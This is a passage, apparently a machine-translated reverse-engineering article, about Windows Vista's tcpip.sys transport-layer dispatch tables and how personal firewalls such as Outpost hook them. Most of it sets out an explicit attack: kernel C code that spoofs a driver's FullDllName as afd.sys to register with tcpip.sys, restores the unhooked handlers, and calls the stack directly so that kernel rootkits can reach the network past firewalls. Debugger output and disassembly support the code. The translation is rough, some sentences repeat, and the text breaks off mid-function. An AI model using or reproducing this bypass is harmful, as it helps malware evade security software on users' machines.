  578. TcpTlProviderEndpoint,
  579. TlDefaultRequestMessage,
  580. TcpTlProviderListen,
  581. TcpTlProviderConnect,
  582. TcpTlProviderReleaseIndicationList,
  583. TcpTlProviderCancel
  584. };};
  585.  
  586. PVOID TcpTlProviderEndpointDispatch [3] = {
  587. TcpTlEndpointCloseEndpoint,
  588. TcpTlEndpointIoControlEndpoint,
  589. TlDefaultRequestQueryDispatchEndpoint
  590. };};
  591.  
  592. PVOID TcpTlProviderListenDispatch [4] = {
  593. TcpTlListenerCloseEndpoint,
  594. TcpTlListenerIoControlEndpoint,
  595. TlDefaultRequestQueryDispatchEndpoint,
  596. TcpTlListenerResumeConnection
  597. };};
  598.  
  599. PVOID TcpTlProviderConnectDispatch [6] = {
  600. TcpTlConnectionCloseEndpoint,
  601. TcpTlConnectionIoControlEndpoint,
  602. TlDefaultRequestQueryDispatchEndpoint,
  603. TcpTlConnectionSend,
  604. TcpTlConnectionReceive,
  605. TcpTlConnectionDisconnect
  606. };};
  607.  
  608. Handlers UDP:
  609.  
  610. PVOID UdpTlProviderDispatch [8] = {
  611. UdpTlProviderIoControl,
  612. TlDefaultRequestQueryDispatch,
  613. UdpTlProviderEndpoint,
  614. UdpTlProviderMessage,
  615. TlDefaultRequestListen,
  616. TlDefaultRequestConnect,
  617. RawTlProviderReleaseIndicationList,
  618. TlDefaultRequestCancel
  619. };};
  620.  
  621. PVOID UdpTlProviderEndpointDispatch [3] = {
  622. UdpTlProviderCloseEndpoint,
  623. UdpTlProviderIoControlEndpoint,
  624. TlDefaultRequestQueryDispatchEndpoint
  625. };};
  626.  
  627. PVOID UdpTlProviderMessageDispatch [4] = {
  628. UdpTlProviderCloseEndpoint,
  629. UdpTlProviderIoControlEndpoint,
  630. TlDefaultRequestQueryDispatchEndpoint,
  631. UdpTlProviderSendMessages
  632. };};
  633.  
  634. The last table refer to Raw IP:
  635.  
  636. PVOID RawTlProviderDispatch [8] = {
  637. TlDefaultRequestIoControl,
  638. TlDefaultRequestQueryDispatch,
  639. RawTlProviderEndpoint,
  640. RawTlProviderMessage,
  641. TlDefaultRequestListen,
  642. TlDefaultRequestConnect,
  643. RawTlProviderReleaseIndicationList,
  644. TlDefaultRequestCancel
  645. };};
  646.  
  647. PVOID RawTlProviderEndpointDispatch [3] = {
  648. RawTlProviderCloseEndpoint,
  649. RawTlProviderIoControlEndpoint,
  650. TlDefaultRequestQueryDispatchEndpoint
  651. };};
  652.  
  653. PVOID RawTlProviderMessageDispatch [4] = {
  654. RawTlProviderCloseEndpoint,
  655. RawTlProviderIoControlEndpoint,
  656. TlDefaultRequestQueryDispatchEndpoint,
  657. RawTlProviderSendMessages
  658. };};
  659.  
  660. Well, ConnectDispatch tables in UDP and Raw IP of course can not be. All TlDefaultXxx () handlers are imported from netio.sys, which all boil down to one function with a single return STATUS_NOT_IMPLEMENTED operator. Through these tables are all the system calls that access the TCP / IP stack, system is very convenient grab this place and adjust the treatment of clients. What firewalls do.
  661.  
  662. When a client attempts to connect to your ISP, called ProviderAttachClient () (in this case InetTlNotifyAttachClient ()):
  663.  
  664. NTSTATUS
  665. ProviderAttachClient (
  666. IN HANDLE NmrBindingHandle,
  667. IN PVOID ProviderContext,
  668. IN PNPI_REGISTRATION_INSTANCE ClientRegistrationInstance,
  669. IN PVOID ClientBindingContext,
  670. IN CONST VOID * ClientDispatch,
  671. OUT PVOID * ProviderBindingContext,
  672. OUT CONST VOID ** ProviderDispatch
  673. );
  674.  
  675. Called InetTlNotifyAttachClient () function returns a pointer to one of the structures in XxxTlProviderDispatch * ProviderDispatch and the connection is established. Now the customer can make calls to the stack through its dispatch functions.
  676.  
  677. Personal firewalls are on afd.sys way - ie, It is registered as a client tcpip.sys and intercept handlers from XxxTlProviderXxxDispatch tables, but in addition to undocumented interface, they have the above problem - only afd.sys tdx.sys or may be registered as tcpip.sys customers. In Outpost Firewall 2008/2009, for example, this is achieved by constructing jumping of ten instructions in the unused part afd.sys drivers successful call NmrRegisterClient ():
  678.  
  679. loc_1B59A:
  680. movsxd rax, edi
  681. mov ecx, 0FFFFFFF8h
  682. lea rdx, [rax + rax * 4]
  683. mov r8d, [rbx + rdx * 8 + 114h]
  684. mov r9d, [rbx + rdx * 8 + 118h]
  685. lea rdx, a_textAddressXS; ".text address:% # x size:% # x \ n"
  686. add r8, rsi
  687. call LogStub
  688. and [rsp + 108h + var_E8], 0
  689. lea rbx, [r9 + r8-0A8h]
  690. mov rcx, rbx; VirtualAddress
  691. xor r9d, r9d; ChargeQuota
  692. xor r8d, r8d; SecondaryBuffer
  693. mov edx, 0A8h; Length
  694. call cs: IoAllocateMdl
  695. xor edx, edx; AccessMode
  696. lea r8d, [rdx + 1]; Operation
  697. mov rcx, rax; MemoryDescriptorList
  698. mov rdi, rax
  699. call cs: MmProbeAndLockPages
  700. xor r9d, r9d; BaseAddress
  701. xor r8d, r8d; CacheType
  702. xor edx, edx; AccessMode
  703. mov rcx, rdi; MemoryDescriptorList
  704. mov [rsp + 108h + var_E0], 20h
  705. and dword ptr [rsp + 108h + var_E8], 0
  706. call cs: MmMapLockedPagesSpecifyCache
  707. lea rcx, [rsp + 108h + var_C8]
  708. mov rdx, rax
  709. mov r8d, 0A8h
  710. mov rsi, rax
  711. call DoSomethingEv0l
  712. lea rax, [rbx + 33h]
  713. mov byte ptr [rsi], 4Ch
  714. mov [rsi + 24h], rax
  715. lea rax, NmrRegisterClient
  716. mov byte ptr [rsi + 1], 89h
  717. mov byte ptr [rsi + 2], 44h
  718. mov byte ptr [rsi + 3], 24h
  719. mov byte ptr [rsi + 4], 18h
  720. mov [rsi + 33h], rax
  721. mov byte ptr [rsi + 5], 48h
  722. mov byte ptr [rsi + 6], 89h
  723. <...>
  724. mov byte ptr [rsi + 32h], 0C3h
  725. mov byte ptr [rsi + 3Bh], 0FFh
  726. mov byte ptr [rsi + 3Ch], 25h
  727. and dword ptr [rsi + 3Dh], 0
  728. lea rax, ClientAttachAfd
  729. lea rcx, [rsi + 60h]
  730. mov [rsi + 41h], rax
  731. lea rax, [rbx + 3Bh]
  732. lea rdx, unk_4C120
  733. mov cs: off_4C128, rax
  734. and dword ptr [rsi + 4Bh], 0
  735. lea rax, WskClientDetach
  736. mov [rsi + 4Fh], rax
  737. lea rax, [rbx + 49h]
  738. mov byte ptr [rsi + 49h], 0FFh
  739. mov byte ptr [rsi + 4Ah], 25h
  740. mov r8d, 48h
  741. mov cs: off_4C130, rax
  742. call DoSomethingEv0l
  743. lea rcx, [rbx + 60h]
  744. lea r8, [rsp + 108h + var_D8]
  745. xor edx, edx
  746. call rbx
  747. test eax, eax
  748. jns short loc_1B76C
  749. lea rdx, aFailedRegister; "Failed register nmr client with status:" ...
  750. mov r8d, eax
  751. mov ecx, 0FFFFFFFEh
  752. call LogStub
  753. jmp short loc_1B776
  754.  
  755. But actually own a trampoline, the result of drawing up its string mov instructions (x86-he, of course, other):
  756.  
  757. mov qword ptr [rsp + 18h], r8
  758. mov qword ptr [rsp + 10h], rdx
  759. mov qword ptr [rsp + 8], rcx
  760. sub rsp, 28h
  761. mov r8, qword ptr [rsp + 40h]
  762. mov rdx, qword ptr [rsp + 38h]
  763. mov rcx, qword ptr [rsp + 30h]
  764. mov rax, offset afd! AfdTLErrorHandlerConnection + 0x16b (fffffa60`0423318b)
  765. call qword ptr [rax]
  766. add rsp, 28h
  767. ret
  768.  
  769. Now Outpost can keep track of calls to tcpip.sys and prevent access to unwanted network applications efficiently, and rootkits using TDI or WSK for networking. Analyzing the issue a year ago and is already writing these lines to expose the insidious Outpost, suddenly came across quite a curious record: http://tarasc0.blogspot.com/2008/05/vista-beyond-tdi-3-60-60-60- 60-60.html. Now I understand where the shoe pinches. But we dig deeper:
  770.  
  771. Waiting to reconnect ...
  772. Connected to Windows Vista 6001 x64 target, ptr64 TRUE
  773. Kernel Debugger connection established. (Initial Breakpoint requested)
  774. Symbol search path is: D: \ Symbols \ x64 \ vista_sp1
  775. Executable search path is:
  776. Windows Vista Kernel Version 6001 (Service Pack 1) MP (1 procs) Free x64
  777. Product: WinNt, suite: TerminalServer SingleUserTS
  778. Built by: 6001.18000.amd64fre.longhorn_rtm.080118-1840
  779. Kernel base = 0xfffff800`01804000 PsLoadedModuleList = 0xfffff800`019c9db0
  780.  
  781. kd> lm m afw
  782. start end module name
  783. fffffa60`026d5000 fffffa60`02718000 afw (no symbols)
  784.  
  785. kd> chkimg -ss .rdata -d -p E:! \ OS \ x64 \ vista_sp1 tcpip
  786. fffffa6000f82dc0-fffffa6000f82dc3 4 bytes -! tcpip RawTlProviderDispatch + 10
  787. [90 d1 e6 00: fc 76 6e 02]
  788. fffffa6000f82dc8-fffffa6000f82dcb 4 bytes - tcpip RawTlProviderDispatch + 18 (+ 0x08)!
  789. [E0 cf e6 00: 4c 7e 6e 02]
  790. fffffa6000f82df0-fffffa6000f82df3 4 bytes - tcpip RawTlProviderEndpointDispatch (+ 0x28)!
  791. [70 41 f7 00:04 7d 6e 02]
  792. fffffa6000f82e08-fffffa6000f82e0b 4 bytes - tcpip RawTlProviderMessageDispatch (+ 0x18)!
  793. [70 41 f7 00:04 7d 6e 02]
  794. fffffa6000f82f80-fffffa6000f82f83 4 bytes - tcpip UdpTlProviderDispatch + 10 (+ 0x178)!
  795. [C8 ec 00:08 50 61 6e 02]
  796. fffffa6000f82f88-fffffa6000f82f8b 4 bytes - tcpip UdpTlProviderDispatch + 18 (+ 0x08)!
  797. [40 7d ec 00: ec 70 6e 02]
  798. fffffa6000f82fb0-fffffa6000f82fb3 4 bytes - tcpip UdpTlProviderEndpointDispatch (+ 0x28)!
  799. [D0 d9 ec 00:78 67 6e 02]
  800. fffffa6000f82fb8-fffffa6000f82fbb 4 bytes - tcpip UdpTlProviderEndpointDispatch + 8 (+ 0x08)!
  801. [B0 9e ec 00:84 6a 6e 02]
  802. fffffa6000f82fc8-fffffa6000f82fcb 4 bytes - tcpip UdpTlProviderMessageDispatch (+ 0x10)!
  803. [D0 d9 ec 00:78 67 6e 02]
  804. fffffa6000f82fd0-fffffa6000f82fd3 4 bytes - tcpip UdpTlProviderMessageDispatch + 8 (+ 0x08)!
  805. [B0 9e ec 00:84 6a 6e 02]
  806. fffffa6000f82fe0-fffffa6000f82fe3 4 bytes - tcpip UdpTlProviderMessageDispatch + 18 (+ 0x10)!
  807. [60 ce ea 00: c0 68 6e 02]
  808. fffffa6000f83210-fffffa6000f83213 4 bytes - tcpip TcpTlProviderDispatch + 10 (+ 0x230)!
  809. [5b ec 00:40 70 15 6e 02]
  810. fffffa6000f83220-fffffa6000f83223 4 bytes - tcpip TcpTlProviderDispatch + 20 (+ 0x10)!
  811. [20 b4 e8 00: b4 2c 6e 02]
  812. fffffa6000f83228-fffffa6000f8322b 4 bytes - tcpip TcpTlProviderDispatch + 28 (+ 0x08)!
  813. [D2 ec 00:90 50 20 6e 02]
  814. fffffa6000f83230-fffffa6000f83233 4 bytes - tcpip TcpTlProviderDispatch + 30 (+ 0x08)!
  815. [60 0d ec 00: 4c 44 6e 02]
  816. fffffa6000f83238-fffffa6000f8323b 4 bytes - tcpip TcpTlProviderDispatch + 38 (+ 0x08)!
  817. [80 86 00 f7: 6c 6e 42 02]
  818. fffffa6000f83240-fffffa6000f83243 4 bytes - tcpip TcpTlProviderEndpointDispatch (+ 0x08)!
  819. [20 October ec 00:90 1b 6e 02]
  820. fffffa6000f83248-fffffa6000f8324b 4 bytes - tcpip TcpTlProviderEndpointDispatch + 8 (+ 0x08)!
  821. [E0 99 00 ec: 8c 1c 6e 02]
  822. fffffa6000f83258-fffffa6000f8325b 4 bytes - tcpip TcpTlProviderListenDispatch (+ 0x10)!
  823. [20 cf e8 00: f4 32 6e 02]
  824. fffffa6000f83278-fffffa6000f8327b 4 bytes - tcpip TcpTlProviderConnectDispatch (+ 0x20)!
  825. [E0 93 00 ec: 9c 2a 6e 02]
  826. fffffa6000f83290-fffffa6000f83293 4 bytes - tcpip TcpTlProviderConnectDispatch + 18 (+ 0x18)!
  827. [A0 51 ed 00:30 3d 6e 02]
  828. fffffa6000f83298-fffffa6000f8329b 4 bytes - tcpip TcpTlProviderConnectDispatch + 20 (+ 0x08)!
  829. [70 ec 02 00: c4 3a 6e 02]
  830. fffffa6000f832a0-fffffa6000f832a3 4 bytes - tcpip TcpTlProviderConnectDispatch + 28 (+ 0x08)!
  831. [8f ec 00:10 40 47 6e 02]
  832. 92 errors: tcpip (fffffa6000f82dc0-fffffa6000f832a3)
  833.  
  834. We have set traps in control tables XxxTlProviderXxxDispatch tcpip.sys. In the software design issue with interceptions solved very simply: we need to read the original tcpip.sys from disk and overwrite the section .rdata real data, not forgetting the Fix relocations, also need to bear in mind that entry is forbidden .rdata settings section itself. Well, we're only research intentions proceed like this:
  835.  
  836. kd> chkimg -f -ss .rdata -p E:! \ OS \ x64 \ vista_sp1 tcpip
  837. Warning: Any detected errors will be fixed to what we expect!
  838. 92 errors (fixed): tcpip (fffffa6000f82dc0-fffffa6000f832a3)
  839.  
  840. Actually, this is all that is needed to carry the protection of personal firewalls such type.
  841.  
  842. NPI bypass firewalls
  843.  
  844. Now we understand how to get to the bottom and capture exactly what you need to gain full control of the application software and uncomplicated kernel rootkits, rushing to the network. As always, this information can be used in two ways: with defense and in attack. The following discussion focuses on the attack, but rather, about the tactful bypass this type of protection.
  845.  
  846. Returning to the method based on the construction of jump from a trusted driver NmrRegisterClient () function, as well as bridges to handlers ClientAttachProvider () and ClientDetachProvider (). What's wrong with this method? And that's what:
  847.  
  848. Patching system memory driver. The firewall will work as long as the driver does not change. The new revision of the operating system or its possible change is a risk to get BSoD.
  849. Binding to a specific processor architecture, it is necessary to organize a bridge under each processor architecture.
  850.  
  851. Bypass code is divided into two parts: the first part is responsible for obtaining pointers to internal scheduling table; second handler performs recovery intercepted. Because of this, we have a great opportunity to use these tables XxxTlProviderXxxDispatch handlers and make calls to the tcpip.sys directly, bypassing firewalls using only the first part of the code.
  852.  
  853. In developing the means to bypass firewalls NPI will be based on NmrRegisterClient reaction (), but rather on the inside of the reaction function it causes - NmprVerifyModule (). This function first searches the kernel module, which holds a pointer to the handlers and then udostoverivaetsya that the path to this module is "\ systemroot \ system32 \ drivers \ afd.sys", "\ systemroot \ system32 \ drivers \ tdx.sys "or" \ systemroot \ system32 \ drivers \ tcpip.sys ". It would be logical to do checks on the contrary - "and whether to pass a pointer to indicate one of the three authorized drivers"? netio.sys developers have not thought about it. Using this feature, replacing the field FullDllName LDR_DATA_TABLE_ENTRY structure that describes our driver for one of the legitimate ways.After that can cause NmrRegisterClient () and registered as a client tcpip.sys, thus ensure that the correct register netio.sys our challenge. It should be remembered that tcpip.sys customers can become a tdx.sys afd.sys and, therefore, the path should be chosen when selected NPIID. To begin to get a pointer to the previously listed dispatch table XxxTlProviderXxxDispatch driver tcpip.sys, exactly what the function GetTcpipDispatchTables ():To begin to get a pointer to the previously listed dispatch table XxxTlProviderXxxDispatch driver tcpip.sys, exactly what the function GetTcpipDispatchTables ():To begin to get a pointer to the previously listed dispatch table XxxTlProviderXxxDispatch driver tcpip.sys, exactly what the function GetTcpipDispatchTables ():
  854.  
  855. NTSTATUS
  856. NTAPI
  857. GetTcpipDispatchTables (
  858. __in PLDR_DATA_TABLE_ENTRY DriverEntry,
  859. __out PTL_DISPATCH_TABLES DispatchTables
  860. )
  861.  
  862. This function is called from the DriverEntry () driver, which is a pointer to the driver LDR_DATA_TABLE_ENTRY our structure we are going to use, as described above. To begin, prepare NPI_CLIENT_CHARACTERISTICS structure to connect to the provider:
  863.  
  864. NPI_MODULEID FakeModuleId = {
  865. sizeof (NPI_MODULEID),
  866. MIT_GUID,
  867. {0x01020304, 0x0506, 0x0708,
  868. {0x09, 0x0A, 0x0B, 0x0C, 0x0D, 0x0E, 0x0F, 0x10}}
  869. };};
  870.  
  871. NPI_CLIENT_CHARACTERISTICS ClientChars = {
  872. 0, sizeof (NPI_CLIENT_CHARACTERISTICS), FakeClientAttachProvider, FakeClientDetachProvider, NULL,
  873. {0, sizeof (NPI_REGISTRATION_INSTANCE), & NPI_TRANSPORT_LAYER_ID, & FakeModuleId, 0, NULL}
  874. };};
  875.  
  876. Said NPI_TRANSPORT_LAYER_ID says that we want to connect to the provider who delivers services. In our case it is, of course, the tcpip.sys. Before registering the client pretend afd.sys:
  877.  
  878. UNICODE_STRING OriginalFullDllName = {0};
  879. ...
  880. RtlCopyMemory (& OriginalFullDllName, & DriverEntry-> FullDllName, sizeof (UNICODE_STRING));
  881. RtlInitUnicodeString (& DriverEntry-> FullDllName, L "\\ SystemRoot \\ system32 \\ drivers \\ afd.sys");
  882.  
  883. Now you can register:
  884.  
  885. Status = NmrRegisterClient (& ClientChars, Dispatches, & hClientHandle);
  886. if (NT_SUCCESS (Status)) {
  887. NmrDeregisterClient (hClientHandle);
  888. } Else {
  889. DbgPrint ( "GetTcpipDispatchTables (): NmrRegisterClient () failed with status 0x% 08X \ n", Status);
  890. }
  891.  
  892. After calling NmrRegisterClient () FullDllName can be brought back, the substitution is not useful anywhere else:
  893.  
  894. RtlCopyMemory (& DriverEntry-> FullDllName, & OriginalFullDllName, sizeof (UNICODE_STRING));
  895.  
  896. The code gets a pointer to XxxTlProviderDispatch table is in the handler FakeClientAttachProvider, which we have indicated in the preparation NPI_CLIENT_CHARACTERISTICS structure:
  897.  
  898. static
  899. NTSTATUS
  900. NTAPI
  901. FakeClientAttachProvider (
  902. __in HANDLE NmrBindingHandle,
  903. __in PTL_DISPATCH_TABLES DispatchTables,
  904. __in PNPI_REGISTRATION_INSTANCE ProviderRegistrationInstance
  905. )
  906.  
  907. This function is called when you call NMR NmrRegisterClient () for each ModuleId, which is a registered provider with the NPIID, and it is already listed NPI_MS_TCP_MODULEID, NPI_MS_UDP_MODULEID, NPI_MS_RAW_MODULEID. This information is transmitted to the ProviderRegistrationInstance, what we use in the preparation of indexes on the table:
  908.  
  909. if (! memcmp (ProviderRegistrationInstance-> ModuleId, & NPI_MS_TCP_MODULEID, sizeof (NPI_MODULEID)))
  910. {
  911. ASSERT (DispatchTables-> TcpTlProviderDispatch!);
  912.  
  913. // Get TcpTlProviderDispatch table
  914.  
  915. Status = NmrClientAttachProvider (
  916. NmrBindingHandle, NULL, NULL, & ProviderContext, & DispatchTables-> TcpTlProviderDispatch);
  917. if (! NT_SUCCESS (Status)) {
  918. KdPrint (( "FakeClientAttachProvider (): NmrClientAttachProvider (TcpTlProviderDispatch) failed with status 0x% 08X \ n", Status));
  919. }
  920. }
  921. else if (! memcmp (ProviderRegistrationInstance-> ModuleId, & NPI_MS_UDP_MODULEID, sizeof (NPI_MODULEID)))
  922. {
  923. ASSERT (DispatchTables-> UdpTlProviderDispatch!);
  924.  
  925. // Get UdpTlProviderDispatch table
  926.  
  927. Status = NmrClientAttachProvider (
  928. NmrBindingHandle, NULL, NULL, & ProviderContext, & DispatchTables-> UdpTlProviderDispatch);
  929. if (! NT_SUCCESS (Status)) {
  930. KdPrint (( "FakeClientAttachProvider (): NmrClientAttachProvider (UdpTlProviderDispatch) failed with status 0x% 08X \ n", Status));
  931. }
  932. }
  933. else if (! memcmp (ProviderRegistrationInstance-> ModuleId, & NPI_MS_RAW_MODULEID, sizeof (NPI_MODULEID)))
  934. {
  935. ASSERT (DispatchTables-> RawTlProviderDispatch!);
  936.  
  937. // Get RawTlProviderDispatch table
  938.  
  939. Status = NmrClientAttachProvider (
  940. NmrBindingHandle, NULL, NULL, & ProviderContext, & DispatchTables-> RawTlProviderDispatch);
  941. if (! NT_SUCCESS (Status)) {
  942. KdPrint (( "FakeClientAttachProvider (): NmrClientAttachProvider (RawTlProviderDispatch) failed with status 0x% 08X \ n", Status));
  943. }
  944. }
  945.  
  946. In order to get a direct pointer to one of the dispatch tables, we need to call NmrClientAttachProvider () function, which is the end point - a challenge InetTlNotifyAttachClient (), which returns a pointer to the table. These pointers we remember and we will continue to use in the recovery of the original handler.
  947.  
  948. Successfully obtain a pointer to XxxTlProviderDispatch table, call GetInternalTcpipDispatches (), which takes a pointer to the remaining XxxTlProviderXxxDispatch table, as well as pointers to their real obrabotichiki. As already mentioned, the easiest way to restore handlers - tcpip.sys loading from disk and overwrite the entire section .rdata original data. There is one unspoken rule when writing this kind of code - the smaller the changes we bring in, the more we are quietly (there may well be similar changes in other parts .rdata). Therefore, from these motives, but also because of the research interest, we will restore a specific table step by step. This practice, incidentally, will help to understand a little undocumented TL (Transport Layer) tcpip interface.sys and this knowledge can be used to write your own client NPI tcpip.sys.
  949.  
  950. To download a copy tcpip.sys in memory function is organized GetTcpip (), the action that unfolds in several stages: preparation of the base address and the size of the module is already loaded tcpip.sys; tcpip.sys download a copy from the disk; mapping sections; relocs setting:
  951.  
  952. UNICODE_STRING TcpipDriverName = CONST_UNICODE_STRING (L "\\ Driver \\ tcpip");
  953. UNICODE_STRING TcpipDriverPath = CONST_UNICODE_STRING (L "\\ SystemRoot \\ system32 \\ drivers \\ tcpip.sys");
  954. MEMORY_CHUNK FlatFile = {0};
  955. NTSTATUS Status = STATUS_UNSUCCESSFUL;
  956.  
  957. Status = GetDriverModuleInfo (& TcpipDriverName, & OriginalTcpip-> Buffer, & OriginalTcpip-> Size);
  958. if (! NT_SUCCESS (Status)) {
  959. KdPrint (( "GetTcpip (): GetDriverModuleInfo (% wZ) failed with status 0x% 08X \ n", & TcpipDriverName, Status));
  960. return Status;
  961. }
  962.  
  963. Status = GetFileData (& TcpipDriverPath, & FlatFile);
  964. if (! NT_SUCCESS (Status)) {
  965. KdPrint (( "GetTcpip (): GetFileData (% wZ) failed with status 0x% 08X \ n", & TcpipDriverPath, Status));
  966. return Status;
  967. }
  968.  
  969. Status = MapImage (& FlatFile, LoadedTcpip);
  970. FreeMemoryChunk (& FlatFile);
  971.  
  972. if (! NT_SUCCESS (Status)) {
  973. KdPrint (( "GetTcpip (): MapImage (% wZ) failed with status 0x% 08X \ n", & TcpipDriverPath, Status));
  974. }
  975.  
  976. MapImage () function does all the tedious work for us - it udostoverivaetsya in module integrity, a section appropriately in memory and relocation rules. It should be borne in mind that the memory allocated MapImage () - is pumping and therefore the image projected by this function can not be used to run code. It is necessary to make an edit function in that it allocates memory from nepodkachivaemogo pool, then a start-up will be possible.
  977.  
  978. Job function GetInternalTcpipDispatchTables () is divided into 7 stages:
  979.  
  980. Preparation of these (non-captured) handler tables TcpTlProviderDispatch / UdpTlProviderDispatch / RawTlProviderDispatch
  981. A pointer to the table TcpTlProviderEndpointDispatch / UdpTlProviderEndpointDispatch / RawTlProviderEndpointDispatch, ranging in tcpip.sys
  982. Preparation of these (non-captured) handler tables TcpTlProviderEndpointDispatch / UdpTlProviderEndpointDispatch / RawTlProviderEndpointDispatch
  983. Getting pointers TcpTlProviderListenDispatch / TcpTlProviderConnectDispatch tables ranging in tcpip.sys
  984. Preparation of these (non-captured) handler tables TcpTlProviderListenDispatch / TcpTlProviderConnectDispatch
  985. Getting pointers UdpTlProviderMessageDispatch / RawTlProviderMessageDispatch tables ranging in tcpip.sys
  986. Preparation of these (non-captured) handler tables UdpTlProviderMessageDispatch / RawTlProviderMessageDispatch
  987.  
  988. Work on finding these handlers are intercepted, it is rather trivial and performed GetRealTcpipDispatchTable () function:
  989.  
  990. static
  991. NTSTATUS
  992. GetRealTcpipDispatchTable (
  993. __in PMEMORY_CHUNK OriginalTcpip,
  994. __in PMEMORY_CHUNK LoadedTcpip,
  995. __in PVOID * OriginalDispatchTable,
  996. __out PVOID * RealDispatchTable,
  997. __in ULONG PointersCount
  998. )
  999.  
  1000. The count for the virtual displacement dispatch table from the loaded copy tcpip.sys obtained pointers to handlers and get better so that they point to the corresponding location in the original module. Quite simply, with the condition that we have a pointer to the table and the table is within the tcpip.sys. This function used GetRealXxxTlProviderDispatch () function, GetRealXxxTlProviderEndpointDispatch (), GetRealTcpDispatches (), GetRealMessageDispatches (), which called on the stages №1, №3, №5, №7, respectively.
  1001.  
  1002. Much more interesting life comes, if necessary, obtain a pointer to the table XxxTlProviderEndpointDispatch / TcpTlProviderListenDispatch / TcpTlProviderConnectDispatch / XxxTlProviderMessageDispatch. Pointers to these tables, you can only get in if you are familiar with the internal interface of the tcpip.sys, which is not documented. It seems that it is here that have to use all the talent reverse engineer, what more will be discussed.
  1003.  
  1004. The internal interface tcpip.sys
  1005.  
  1006. Each handler dispatch tables tcpip.sys takes two parameters on the input and has the following prototype:
  1007.  
  1008. typedef NTSTATUS (NTAPI * PROVIDER_DISPATCH) (
  1009. __in PVOID Endpoint,
  1010. __in PTL_ENDPOINT_DATA ProviderData
  1011. );
  1012.  
  1013. TL_ENDPOINT_DATA structure is defined as follows:
  1014.  
  1015. typedef struct _TL_ENDPOINT_DATA {
  1016. GET_DISPATCH GetDispatch;
  1017. PVOID GetDispatchContext;
  1018. PVOID Flags;
  1019. USHORT Family;
  1020. #ifndef _AMD64_
  1021. PVOID Unk5;
  1022. #endif
  1023. PEPROCESS Process;
  1024. PETHREAD Thread;
  1025. PVOID Object;
  1026. PSOCKADDR_IN Addr1;
  1027. PVOID Unk10;
  1028. PVOID Unk11;
  1029. PSOCKADDR_IN Addr2;
  1030. PVOID Unk13;
  1031. PVOID Unk14;
  1032. PVOID Unk15;
  1033. PVOID Unk16;
  1034. ...
  1035. } TL_ENDPOINT_DATA, * PTL_ENDPOINT_DATA;
  1036.  
  1037. This structure describes the so-called "End connection" to a particular entity within the tcpip.sys. Calls to these "entities" are similar in many respects to the calls BSD sockets, and each is given its own set of handlers. To use a specific module tcpip.sys, we need to get a pointer to a table with a list of his handlers. The first member of the TL_ENDPOINT_DATA structure - a pointer to a callback function that is called in the event that our challenge has been successfully registered. In this case tcpip.sys creates an internal structure in which the copies of the data from TL_ENDPOINT_DATA and passes a pointer to it, along with a pointer to a table of dispatch of this module. Apparently, the returned pointer should only be interpreted as a faceless HANDLE, passing it as such subsequent handlers.Referred to the callback function has the following prototype:
  1038.  
  1039. typedef NTSTATUS (NTAPI * GET_DISPATCH) (
  1040. __in PVOID Context,
  1041. __in NTSTATUS Status,
  1042. __in PVOID Endpoint,
  1043. __in PVOID DispatchTable
  1044. );
  1045.  
  1046. The Context parameter value is transmitted, the second member of the structure - GetDispatchContext, which is very convenient when returning any data. DispatchTable pointer is a pointer to the expected dispatch table. Endpoint pointer - a pointer to the internal structure of the above-mentioned, which allocates and fills the tcpip.sys, we must keep this pointer before the disconnection. As a result of research it became clear that the following fields are required:
  1047.  
  1048. Family Field must contain one of the values ​​AF_XXX for successful startup handler TL_PROVIDER_DISPATCH.Endpoint
  1049. Process field must point to the client process EPROCESS
  1050. Thread field should indicate the client thread ETHREAD
  1051. Addr1 field must indicate to the validly SOCKADDR_IN structure with the correct value of the field when making calls sin_family TL_PROVIDER_DISPATCH.Listen and TL_PROVIDER_DISPATCH.Connect
  1052. Addr2 field shall indicate to the validly SOCKADDR_IN structure with the correct values ​​and sin_family sin_port fields (non-zero) when calling TL_PROVIDER_DISPATCH.Connect
  1053.  
  1054. Empirically found that when Family = AF_INET, and Process and Thread, indicating the current process and the flow of all works fine. Other fields may be zero, which we use in the registration connection. Strictly speaking, it is desirable to pass the reverse path from beginning to end to be 100% sure that all fields are correct structure. Particularly meticulous certainly do this, but we have enough, and what to eat.
  1055.  
  1056. For example, consider a pointer to the structure XxxTlProviderEndpointDispatch function GetEndpointDispatches ():
  1057.  
  1058. static
  1059. NTSTATUS
  1060. GetEndpointDispatches (
  1061. __inout PTL_DISPATCH_TABLES Dispatches
  1062. )
  1063. {
  1064. PROVIDER_DISPATCH_UNK1 DispatchUnk1 = {0};
  1065. TL_ENDPOINT_DATA EndpointData = {0};
  1066. GET_DISPATCH_CONTEXT GetDispatchContext = {0};
  1067. NTSTATUS Status = STATUS_UNSUCCESSFUL;
  1068.  
  1069. Fill the required fields TL_ENDPOINT_DATA structure:
  1070.  
  1071. EndpointData.GetDispatch = GetDispatchCallback;
  1072. EndpointData.GetDispatchContext = & GetDispatchContext;
  1073. EndpointData.Family = AF_INET;
  1074. EndpointData.Process = PsGetCurrentProcess ();
  1075. EndpointData.Thread = PsGetCurrentThread ();
  1076.  
  1077. GetDispatchContext.DispatchTable = & Dispatches-> TcpTlProviderEndpointDispatch;
  1078. GetDispatchContext.Endpoint = NULL;
  1079. Dispatches-> TcpTlProviderEndpointDispatch = NULL;
  1080.  
  1081. Callback is a very simple function:
  1082.  
  1083. static
  1084. NTSTATUS
  1085. NTAPI
  1086. GetDispatchCallback (
  1087. __in PGET_DISPATCH_CONTEXT Context,
  1088. __in NTSTATUS Status,
  1089. __in PVOID Endpoint,
  1090. __in PVOID DispatchTable
  1091. )
  1092. {
  1093. if (! Context ||! Context-> DispatchTable)
  1094. return STATUS_INVALID_PARAMETER;
  1095.  
  1096. Context-> Endpoint = Endpoint;
  1097. * Context-> DispatchTable = DispatchTable;
  1098.  
  1099. return STATUS_SUCCESS;
  1100. }
  1101.  
  1102. Register connection:
  1103.  
  1104. Status = Dispatches-> RealTcpTlProviderDispatch.Endpoint (& DispatchUnk1, & EndpointData);
  1105. if (! NT_SUCCESS (Status)) {
  1106. KdPrint (( "GetXxxTlProviderEndpointDispatch (): TcpTlProviderDispatch-> Endpoint () failed with status 0x% 08X \ n", Status));
  1107. return Status;
  1108. }
  1109.  
  1110. After successful registration, you must call the function to connect disconnection to tcpip.sys could liberate all occupied memory to them (a problem not only in memory, in the case of communication is inseparable, in the memory will remain hanging ETHREAD, a pointer to which we have placed in the Thread field). It is evident that for the survey currently uses tcpip.sys handler tcpip.sys, which was obtained earlier. In this way we avoid firewalls, which would prefer to give a pointer to a table with their handlers. Disconnected from tcpip.sys:
  1111.  
  1112. if (GetDispatchContext.Endpoint) {
